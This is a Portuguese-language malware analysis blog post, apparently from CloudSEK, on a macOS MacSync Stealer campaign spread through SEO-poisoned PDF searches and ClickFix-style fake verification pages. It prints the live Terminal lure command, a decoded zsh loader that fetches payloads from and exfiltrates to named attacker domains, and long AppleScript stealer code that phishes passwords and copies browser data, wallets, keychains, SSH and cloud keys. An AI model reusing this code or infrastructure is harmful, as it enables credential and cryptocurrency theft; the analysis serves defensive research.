🚀 A CloudSEK se torna a primeira empresa de segurança cibernética de origem indiana a receber investimentos da Estado dos EUA fundo
Leia mais
.png)
Os pesquisadores da CloudSEK identificaram uma cadeia de distribuição de malware em vários estágios para macOS que aproveita o envenenamento por SEO e a engenharia social no estilo ClickFix para distribuir um malware que rouba informações chamado MacSync Stealer.
A campanha começa com resultados de pesquisa maliciosos direcionados a usuários que tentam baixar versões em PDF de livros populares. As vítimas são redirecionadas para uma página de verificação falsa que as instrui a executar um comando malicioso do Terminal. Esse comando inicia um carregador de malware em estágios que recupera cargas adicionais da infraestrutura controlada pelo atacante.
O estágio final implanta um ladrão de informações baseado em AppleScript capaz de coletar credenciais do navegador, carteiras de criptomoedas, chaves SSH, arquivos de configuração de nuvem e documentos confidenciais do usuário. O malware comprime os dados coletados e os exfiltra para um servidor de comando e controle.
A campanha aumenta ainda mais ao direcionar as instalações do Ledger Live, modificando os componentes do aplicativo para potencialmente permitir a manipulação de transações e a persistência financeira a longo prazo.
A cadeia de infecção começa com o envenenamento por SEO direcionado aos usuários que procuram versões de livros em PDF para download.
Durante a investigação, a seguinte consulta de pesquisa gerou um resultado malicioso:
Minha consulta de pesquisa foi simples:
"Inspired: How To Create Products Customers Love" filetype:pdf
.png)
Entre os resultados estava um domínio que parecia hospedar um repositório de documentos acadêmicos:
https://b.mou.ir/renhancef/84974J166D/vallocated/88983JD/inspired__how_to-create__products_customers-love__english-edition.pdf
À primeira vista, o URL parecia legítimo. O nome do arquivo correspondia ao título do livro e a estrutura do domínio se assemelhava a uma plataforma típica de hospedagem de documentos.
No entanto, em vez de entregar um arquivo PDF, o link foi redirecionado para:
https://allfile.me/loading/?t=Inspired%20%20How%20To%20Create%20%20Products%20Customers%20Love%20%20English%20Edition&s=Yi5tb3UuaXI
.png)
A página exibia uma tela falsa de verificação humana com um cronômetro de contagem regressiva e um botão “Sou humano”.
Selecionar a opção de verificação redirecionou os usuários para uma página de instruções com tema macOS, instruindo-os a abrir o Terminal e executar um comando.
Essa técnica se alinha às campanhas de engenharia social da ClickFix, nas quais os atacantes convencem as vítimas a executar comandos maliciosos sob o pretexto de resolver problemas de verificação ou download.
A página que hospeda o comando estava localizada em:
https://datacloudhost4.baby/?c=ADtxlGmPdgUAd4oCAElOOQASAAAAAADt
.png)
As vítimas são instruídas a executar o seguinte comando:
echo "Apple-Installer: https://apps.apple.com/hidenn-gift.application/macOsAppleApicationSetup421415.dmg" &&curl -kfsSL $(echo 'ZWNobyAnSW5zdGFsbGluZyBwYWNrYWdlIHBsZWFzZSB3YWl0Li4uJyAmJiBjdXJsIC1rZnNTTCBodHRwOi8vY2FsaWZvcm5pYXRpcmVzaG9wLmNvbS9jdXJsLzM4YzlkODlmODU2MzVkNjk1OTBiMDI4NjBjNWM3NTEyYzY2MTUzYjJkNDhmYTQzOTBkNTBmNDljOWYwNWIwMmV8enNo'|base64 -D)|zshO comando parece legítimo. A primeira coisa que ele faz é ecoar uma linha referenciando: https://apps.apple.com/...
Mas o comportamento real está oculto dentro da string codificada em Base64.
Uma vez decodificado, ele revela:
echo 'Installing package please wait...' && curl -kfsSL http://bracesarlington.com/curl/0dbe695426c12ddd6fb1085e738869149061e28daad1b75eb40dea13ef73b5deA segunda parte extrai silenciosamente um script remoto do bracesarlington. com e o canaliza diretamente para zsh para execução.
O script de segundo estágio recuperado da infraestrutura do invasor contém uma carga útil incorporada codificada em Base64 e compactada usando gzip.
A estrutura do script é semelhante à seguinte:
#!/bin/zsh
d23826=$(base64 -D <<'PAYLOAD_m117191906222546' | gunzip
H4sIABNPlGkAA91WW2/bNhR+9684VRVDasBIsuJLLmoadAEaFGmHpMGCdYVBiZRNWKY0kV4ct/3v
oyxZomQD28texheZhx+/cz/061dOyLizEfMewXSZ8mm84pFkKbds+N4DteiaRnDpEPqXw1dJ0sje
HpANOsIkjXACJF1ixgMjzHFEBc4Txmcy5SdRujQ0mEwXVKFcEtLR2fB0MIq8ASFkFIeeOxnSsT+Z
jM680zN35NHBhGBMvHA8pOGpSyj2fBqP/XBIqE6JMzZd0JfAGHpnLo29se97Ex+7JBr5cTga+P5w
HA9HZKRfillCA8ORy8xJBU7S2UzZe7JhWQliMXwF8zWgmQQXvl2AnFO+PSlWtMoTQAtAAhBa4jWS
bEnBd+GPGlIs9AGMR0FzdD2jXJ7DXbphSYKd4YkL1h2OGJepmF/ALZc0ASWAzw/wBJ479YbTsQ3X
WZbQ32j4kUln6I9P/JFxQINyHyn3z8GsAtEFGXMps3PHMcsUOeSF4yWLruSaBOY2H/3sWf30DPgB
Khgiylkmy3wngv5vvd53N2Za8q8AcXog+XTNJHhd/Fd4BSgGwywKSzH/KPai3n/rsuRUrnLe5ikr
8/2Hx08fpw+3v98EpmV5LrxRsRmcVh/b1qB310/T+5sv97c3D8FEk6+yJMVkypSnFsGSwvGRsJFp
pRnlQiSQY04AzekaJno3F1bTaJ6CeX/96ZfPd9XHbrWvxMlUsE1ZFs1WaRISyyIGR5va7Q55iYjg
qA6MrQUQFfcaxm0Q2wJE/ywS8u9jWV6O5iu+EEU0wWro4FgLNSDwbHB0SSvSLHC3u+e5shoUEYPL
FruCX6gZWNtUXkvjWFBZaGYqfw15xd0AtyRVIBtYDVIKSypldAOFt1oClAHQ77eILN1bVDHsqRar
SA1sUTnYyLGUdJnJwKvltfPVEVwGegkW6isyCAKVqE5IilU05TRKSWEdISrxwa5UQhF4IBYsC8zK
1ShdcRU7zd9WOXX6vVj6hHqCXx+/HMAgpDoCI/Ui4vwF3qFDkP98gu20/OMUKy2uh6036U7bLSCF
Ji4Hjp/BOPpeR/7nIR3daTlTU+MqXLGEaK+ENlbqn/0yPYwTug5M1m93nL5rTQO7ZUGRt2kxHFbq
zlXrqBwNpoaopoAqNrP2Sb3TqjrcPWki1ft0YGLs1q72vdZJ69XbLcuqqv742Lb3iRJKM1Ad56sO
3bXHGxh0oNVwKhZJeaNEeanaaq959mxuTboOoZoxtWk1eb7UXqWeRuH2fvaU1s4fQoV8Z0C/Ubx9
7NxeHZHq8YvZ32XCJlRVCgAA
PAYLOAD_m117191906222546
)
eval "$d23826"
O script executa as seguintes operações:
Essa abordagem ajuda a evitar a detecção estática e oculta a verdadeira funcionalidade da carga útil até o tempo de execução.
Decodificado zsh script parecido com o seguinte:
#!/bin/zsh
daemon_function() {
exec </dev/null
exec >/dev/null
exec 2>/dev/null
local domain="bracesarlington.com"
local token="0dbe695426c12ddd6fb1085e738869149061e28daad1b75eb40dea13ef73b5de"
local api_key="5190ef1733183a0dc63fb623357f56d6"
local file="/tmp/osalogging.zip"
if [ $# -gt 0 ]; then
curl -k -s --max-time 30 \
-H "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36" \
-H "api-key: $api_key" \
"http://$domain/dynamic?txd=$token&pwd=$1" | osascript
else
curl -k -s --max-time 30 \
-H "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36" \
-H "api-key: $api_key" \
"http://$domain/dynamic?txd=$token" | osascript
fi
if [ $? -ne 0 ]; then
exit 1
fi
if [[ ! -f "$file" || ! -s "$file" ]]; then
return 1
fi
local CHUNK_SIZE=$((10 * 1024 * 1024))
local MAX_RETRIES=8
local upload_id=$(date +%s)-$(openssl rand -hex 8 2>/dev/null || echo $RANDOM$RANDOM)
local total_size
total_size=$(stat -f %z "$file" 2>/dev/null || stat -c %s "$file")
if [[ -z "$total_size" || "$total_size" -eq 0 ]]; then
return 1
fi
local total_chunks=$(( (total_size + CHUNK_SIZE - 1) / CHUNK_SIZE ))
local i=0
while (( i < total_chunks )); do
local offset=$((i * CHUNK_SIZE))
local chunk_size=$CHUNK_SIZE
(( offset + chunk_size > total_size )) && chunk_size=$((total_size - offset))
local success=0
local attempt=1
while (( attempt <= MAX_RETRIES && success == 0 )); do
http_code=$(dd if="$file" bs=1 skip=$offset count=$chunk_size 2>/dev/null | \
curl -k -s -X PUT \
--data-binary @- \
-H "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36" \
-H "api-key: $api_key" \
--max-time 180 \
-o /dev/null \
-w "%{http_code}" \
"http://$domain/gate?buildtxd=$token&upload_id=$upload_id&chunk_index=$i&total_chunks=$total_chunks" 2>/dev/null)
curl_status=$?
if [[ $curl_status -eq 0 && $http_code -ge 200 && $http_code -lt 300 ]]; then
success=1
else
((attempt++))
sleep $((3 + attempt * 2))
fi
done
if (( success == 0 )); then
return 1
fi
((i++))
done
rm -f "$file"
return 0
}
if daemon_function "$@" & then
exit 0
else
exit 1
fi
O script é essencialmente um carregador do macOS projetado para buscar instruções de um servidor remoto, executá-las por meio do AppleScript e, em seguida, exfiltrar os dados coletados de volta para o invasor, tudo isso enquanto é executado silenciosamente em segundo plano.
O script reconstruído lança um daemon em segundo plano responsável por:
O carregador recupera a próxima carga usando uma solicitação semelhante à seguinte:
curl -k -s \
-H "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36" \
-H "api-key: 5190ef1733183a0dc63fb623357f56d6" \
"http://bracesarlington.com/dynamic?txd=0dbe695426c12ddd6fb1085e738869149061e28daad1b75eb40dea13ef73b5de&pwd=PASSWORD" \
-o stage3.applescript
A resposta contém o malware principal do AppleScript responsável pela coleta de dados.
Coleta de credenciais e coleta de dados
O script começa preparando um diretório de trabalho temporário em /tmp/, gerando um nome de pasta aleatório para evitar a fácil detecção de assinaturas.
set username to (system attribute "USER")
set profile to "/Users/" & username
set randomNumber to do shell script "echo $((RANDOM % 9000000 + 1000000))"
set writemind to "/tmp/sync" & randomNumber & "/"
Em seguida, ele tenta obter a senha do usuário. Se uma senha foi passada do estágio do shell, ela a valida usando dscl. Caso contrário, ele exibe uma caixa de diálogo falsa do sistema solicitando que o usuário “insira a senha para continuar”.
on checkvalid(username, password_entered)
try
set result to do shell script "dscl . authonly " & quoted form of username & space & quoted form of password_entered
if result is not equal to "" then
return false
else
return true
end if
on error
return false
end try
end checkvalid
on getpwd(username, writemind, provided_password)
try
if provided_password is not equal to "" then
if checkvalid(username, provided_password) then
writeText(provided_password, writemind & "Password")
return provided_password
end if
end if
if checkvalid(username, "") then
set result to do shell script "security 2>&1 > /dev/null find-generic-password -ga \"Chrome\" | awk
\"{print $2}\""
writeText(result as string, writemind & "masterpass-chrome")
return ""
else
repeat
set imagePath to "/System/Library/CoreServices/CoreTypes.bundle/Contents/Resources/LockedIcon.icns" as POSIX file
set result to display dialog "Required Application Helper. Please enter password for continue." default answer "" with icon imagePath buttons {"Continue"} default button "Continue" giving up after 150 with title "System Preferences" with hidden answer
set password_entered to text returned of result
if checkvalid(username, password_entered) then
writeText(password_entered, writemind & "Password")
return password_entered
end if
end repeat
end if
end try
return ""
end getpwd
A senha capturada é gravada no disco e incluída no arquivo exfiltrado.
O malware enumera diretórios de perfis de navegador para navegadores baseados em Chromium (Chrome, Brave, Edge, Opera, Arc etc.) e navegadores baseados em Gecko (Firefox). Ele tem como alvo arquivos como:
Ele também verifica IDs de extensão específicos correspondentes às carteiras criptográficas e extrai o armazenamento de extensões locais e os dados do IndexedDB.
on Chromium(writemind, chromium_map)
set pluginList to {}
set pluginList to pluginList & {"eiaeiblijfjekdanodkjadfinkhbfgcd", "aeblfdkhhhdcdjpifhhbdiojplfjncoa"}
set pluginList to pluginList & {"bfogiafebfohielmmehodmfbbebbbpei", "nngceckbapebfimnlniiiahkandclblb"}
set pluginList to pluginList & {"fdjamakpfbbddfjaooikfcpapjohcfmg", "hdokiejnpimakedhajhdlcegeplioahd"}
set pluginList to pluginList & {"pnlccmojcmeohlpggmfnbbiapkmbliob", "ghmbeldphafepmbegfdlkpapadhbakde"}
set pluginList to pluginList & {"kmcfomidfpdkfieipokbalgegidffkal", "bnfdmghkeppfadphbnkjcicejfepnbfe"}
set pluginList to pluginList & {"caljgklbbfbcjjanaijlacgncafpegll", "folnjigffmbjmcjgmbbfcpleeddaedal"}
set pluginList to pluginList & {"igkpcodhieompeloncfnbekccinhapdb", "admmjipmmciaobhojoghlmleefbicajg"}
set pluginList to pluginList & {"ehpbfbahieociaeckccnklpdcmfaeegd", "epanfjkfahimkgomnigadpkobaefekcd"}
set pluginList to pluginList & {"ppnbnpeolgkicgegkbkbjmhlideopiji", "cejfhijdfemlohmcjknpbeaohedoikpp"}
set pluginList to pluginList & {"nmhjblhloefhbhgbfkdgdpjabaocnhha", "iklgijhacenjgjgdnpnohbafpbmnccek"}
set pluginList to pluginList & {"ppkkcfblhfgmdmefkmkoomenhgecbemi", "lgndjfkadlbpaifdpbbobdodbaiaiakb"}
set pluginList to pluginList & {"bbphmbmmpomfelajledgdkgclfekilei", "bnfooenhhgcnhdkdjelgmmkpaemlnoek"}
set chromiumFiles to {"/Network/Cookies", "/Cookies", "/Web Data", "/Login Data", "/Local Extension Settings/", "/IndexedDB/"}
repeat with chromium in chromium_map
set savePath to writemind & "Browsers/" & item 1 of chromium & "_"
try
set fileList to list folder item 2 of chromium without invisibles
repeat with currentItem in fileList
if ((currentItem as string) is equal to "Default") or ((currentItem as string) contains "Profile") then
set profileName to (item 1 of chromium & currentItem)
repeat with CFile in chromiumFiles
set readpath to (item 2 of chromium & currentItem & CFile)
if ((CFile as string) is equal to "/Network/Cookies") then
set CFile to "/Cookies"
end if
if ((CFile as string) is equal to "/Local Extension Settings/") then
grabPlugins(readpath, writemind & "Extensions/" & profileName, pluginList, false)
else if (CFile as string) is equal to "/IndexedDB/" then
grabPlugins(readpath, writemind & "Extensions/" & profileName, pluginList, true)
else
set writepath to savePath & currentItem & CFile
readwrite(readpath, writepath)
end if
end repeat
end if
end repeat
end try
end repeat
end Chromium
on ChromiumWallets(writemind, chromium_map)
set pluginList to {}
set pluginList to pluginList & {"nkbihfbeogaeaoehlefnkodbefgpgknn", "bfnaelmomeimhlpmgjnjophhpkkoljpa"}
set pluginList to pluginList & {"hnfanknocfeofbddgcijnmhnfnkdnaad", "fnjhmkhhmkbjkkabndcnnogagogbneec"}
set pluginList to pluginList & {"acmacodkjbdgmoleebolmdjonilkdbch", "egjidjbpglichdcondbcbdnbeeppgdph"}
set pluginList to pluginList & {"aholpfdialjgjfhomihkjbmgjidlcdno", "pdliaogehgdbhbnmkklieghmmjkpigpa"}
set pluginList to pluginList & {"mcohilncbfahbmgdjkbpemcciiolgcge", "hpglfhgfnhbgpjdenjgmdgoeiappafln"}
set pluginList to pluginList & {"bhhhlbepdkbapadjdnnojkbgioiodbic", "cjmkndjhnagcfbpiemnkdpomccnjblmj"}
set pluginList to pluginList & {"kamfleanhcmjelnhaeljonilnmjpkcjc", "jnldfbidonfeldmalbflbmlebbipcnle"}
set pluginList to pluginList & {"fdcnegogpncmfejlfnffnofpngdiejii", "klnaejjgbibmhlephnhpmaofohgkpgkd"}
set pluginList to pluginList & {"kjjebdkfeagdoogagbhepmbimaphnfln", "ldinpeekobnhjjdofggfgjlcehhmanlj"}
set pluginList to pluginList & {"kpfchfdkjhcoekhdldggegebfakaaiog", "idnnbdplmphpflfnlkomgpfbpcgelopg"}
set pluginList to pluginList & {"mlhakagmgkmonhdonhkpjeebfphligng", "bipdhagncpgaccgdbddmbpcabgjikfkn"}
set pluginList to pluginList & {"nhnkbkgjikgcigadomkphalanndcapjk", "klghhnkeealcohjjanjjdaeeggmfmlpl"}
set pluginList to pluginList & {"ebfidpplhabeedpnhjnobghokpiioolj", "emeeapjkbcbpbpgaagfchmcgglmebnen"}
set pluginList to pluginList & {"fldfpgipfncgndfolcbkdeeknbbbnhcc", "penjlddjkjgpnkllboccdgccekpkcbin"}
set chromiumFiles to {"/Local Extension Settings/", "/IndexedDB/"}
repeat with chromium in chromium_map
try
set fileList to list folder item 2 of chromium without invisibles
repeat with currentItem in fileList
if ((currentItem as string) is equal to "Default") or ((currentItem as string) contains "Profile") then
set profileName to (item 1 of chromium & currentItem)
repeat with CFile in chromiumFiles
set readpath to (item 2 of chromium & currentItem & CFile)
if ((CFile as string) is equal to "/Local Extension Settings/") then
grabPlugins(readpath, writemind & "Wallets/Web/" & profileName, pluginList, false)
else if (CFile as string) is equal to "/IndexedDB/" then
grabPlugins(readpath, writemind & "Wallets/Web/" & profileName, pluginList, true)
else
set writepath to savePath & currentItem & CFile
readwrite(readpath, writepath)
end if
end repeat
end if
end repeat
end try
end repeat
end Chromium
on Gecko(writemind, gecko_map)
set geckoFiles to {"/cert9.db", "/cookies.sqlite", "/cookies.sqlite-wal", "/formhistory.sqlite", "/key4.db", "/logins-backup.json", "/logins.json", "/signons.sqlite", "/places.sqlite"}
repeat with gecko in gecko_map
set savePath to writemind & "Browsers/" & item 1 of gecko & "_"
try
set fileList to list folder item 2 of gecko without invisibles
repeat with currentItem in fileList
if ((currentItem as string) contains "Profile") or ((currentItem as string) contains ".default") then
set profileName to (item 1 of gecko & currentItem)
repeat with CFile in geckoFiles
set readpath to (item 2 of gecko & currentItem & CFile)
set writepath to savePath & currentItem & CFile
readwrite(readpath, writepath)
end repeat
end if
end repeat
end try
end repeat
end Gecko
O malware visa especificamente extensões de carteira de criptomoedas baseadas em navegador, enumerando diretórios de armazenamento de extensões e dados do IndexedDB.
Além disso, ele copia diretamente os diretórios de carteiras de desktop, como Exodus, Electrum, Atomic, Guarda, Coinomi, Sparrow, Wasabi, Bitcoin Core, e outros.
set walletMap to {}
set walletMap to walletMap & {{"Wallets/Desktop/Exodus", library & "Exodus/"}}
set walletMap to walletMap & {{"Wallets/Desktop/Dash_Core", library & "DashCore/"}}
set walletMap to walletMap & {{"Wallets/Desktop/Dogecoin_Core", library & "Dogecoin/"}}
set walletMap to walletMap & {{"Wallets/Desktop/Electrum_LTC", profile & "/.electrum-ltc/wallets/"}}
set walletMap to walletMap & {{"Wallets/Desktop/BlueWallet", library & "BlueWallet/"}}
set walletMap to walletMap & {{"Wallets/Desktop/Zengo", library & "Zengo/"}}
set walletMap to walletMap & {{"Wallets/Desktop/Trust", library & "Trust Wallet/"}}
set walletMap to walletMap & {{"Wallets/Desktop/Ledger Live", library & "Ledger Live/"}}
set walletMap to walletMap & {{"Wallets/Desktop/Ledger Wallet", library & "Ledger Wallet/"}}
set walletMap to walletMap & {{"Wallets/Desktop/Trezor Suite", library & "@trezor"}}
Além dos dados do navegador e da carteira, o malware também coleta:
on Telegram(writemind, library)
try
GrabFolder(library & "Telegram Desktop/tdata/", writemind & "Telegram Desktop/")
end try
end Telegram
on Keychains(writemind)
try
do shell script "cp ~/Library/Keychains/*.keychain-db " & quoted form of (POSIX path of writemind)
end try
end Keychains
on CloudKeys(writemind)
try
do shell script "cp -r ~/.ssh " & quoted form of (POSIX path of writemind)
end try
try
do shell script "cp -r ~/.aws " & quoted form of (POSIX path of writemind)
end try
try
do shell script "cp -r ~/.kube " & quoted form of (POSIX path of writemind)
end try
end CloudKeys
readwrite(profile & "/.zshrc", writemind & "Profile/.zshrc")
readwrite(profile & "/.zsh_history", writemind & "Profile/.zsh_history")
readwrite(profile & "/.bash_history", writemind & "Profile/.bash_history")
readwrite(profile & "/.gitconfig", writemind & "Profile/.gitconfig")
Ele também realiza uma captura de arquivos direcionada do Desktop, Documentos e Downloads, procurando especificamente por extensões como: .pdf, .docx, .wallet, .key, .keys, .seed, .kdbx, .pem, .ovpn
on FilegrabberFDA(writemind, profile)
set destinationFolderPath to POSIX file (writemind & "FileGrabber/")
mkdir(destinationFolderPath)
try
set sourceFolders to {profile & "/Downloads/", profile & "/Documents/", profile & "/Desktop/"}
set extensionsList to {"pdf", "docx", "doc", "wallet", "key", "keys", "db", "txt", "seed", "rtf", "kdbx", "pem", "ovpn"}
repeat with src in sourceFolders
repeat with ext in extensionsList
try
set shellCmd to "find " & quoted form of (POSIX path of src) & " -maxdepth 1 -type f -iname '*." & ext & "' -print0 | xargs -0 -J% cp -vp % " & quoted form of (POSIX path of destinationFolderPath)
do shell script shellCmd
end try
end repeat
end repeat
end try
try
readwrite(profile & "/Library/Cookies/Cookies.binarycookies", writemind & "Safari/Cookies.binarycookies")
readwrite(profile & "/Library/Safari/Form Values", writemind & "Safari/Autofill")
readwrite(profile & "/Library/Safari/History.db", writemind & "Safari/History.db")
end try
try
readwrite(profile & "/Library/Group Containers/group.com.apple.notes/NoteStore.sqlite", writemind & "Notes/NoteStore.sqlite")
readwrite(profile & "/Library/Group Containers/group.com.apple.notes/NoteStore.sqlite-shm", writemind & "Notes/NoteStore.sqlite-shm")
readwrite(profile & "/Library/Group Containers/group.com.apple.notes/NoteStore.sqlite-wal", writemind & "Notes/NoteStore.sqlite-wal")
end try
end Filegrabber
Os dados coletados são compactados em um arquivo:
/tmp/osalogging.zip
O arquivo é enviado para o servidor de comando e controle usando solicitações HTTP PUT fragmentadas, permitindo a transferência confiável de grandes conjuntos de dados.
Após a exfiltração bem-sucedida, o arquivo é excluído para remover as evidências locais.
Do ponto de vista da vítima, a instalação simplesmente falha e exibe a seguinte mensagem:
Your Mac does not support this application. Try reinstalling or downloading the version for your system.
try
do shell script "ditto -c -k --sequesterRsrc " & writemind & " /tmp/osalogging.zip"
end try
try
do shell script "rm -rf /tmp/sync*"
end try
display dialog "Your Mac does not support this application. Try reinstalling or downloading the version for your system." with title "System Preferences" with icon stop buttons {"ОК"}
Do ponto de vista da vítima, o instalador simplesmente falhou.
Na realidade, credenciais, cookies, dados da carteira, chaves SSH, configurações de nuvem e detalhes do sistema já foram arquivados e transmitidos.
A campanha vai além do roubo de dados ao tentar modificar os aplicativos de carteira de criptomoedas.
O malware verifica a presença do Ledger Live em:
/Applications/Ledger Live.app
Se detectado, o malware baixa arquivos controlados pelo invasor de:
https://bracesarlington.com/ledger/live/<token>O arquivo baixado substitui os componentes internos do aplicativo, como:
app.asar
Info.plist
Após a modificação, o aplicativo é assinado novamente usando:
codesign -f -s -
Esta campanha demonstra como a simples engenharia social combinada com a entrega de carga útil por etapas pode levar ao comprometimento total do sistema no macOS.
Segundos após a execução de um único comando do Terminal, as vítimas podem, sem saber, expor credenciais, carteiras de criptomoedas, configurações de nuvem e outros dados confidenciais.
A adulteração adicional do software de carteira de criptomoedas indica que o objetivo vai além do roubo de credenciais em direção à persistência financeira e à manipulação de transações.
Link do repositório Github: https://github.com/m1r3dk/macsync-stealer-analysis
Essa análise e o repositório que a acompanha são fornecidos estritamente para fins de pesquisa defensiva, engenharia reversa e desenvolvimento de detecção.
Toda a infraestrutura maliciosa mencionada neste artigo estava ativa durante a análise e ainda pode representar risco. Não execute nenhuma amostra fora de um ambiente de laboratório controlado.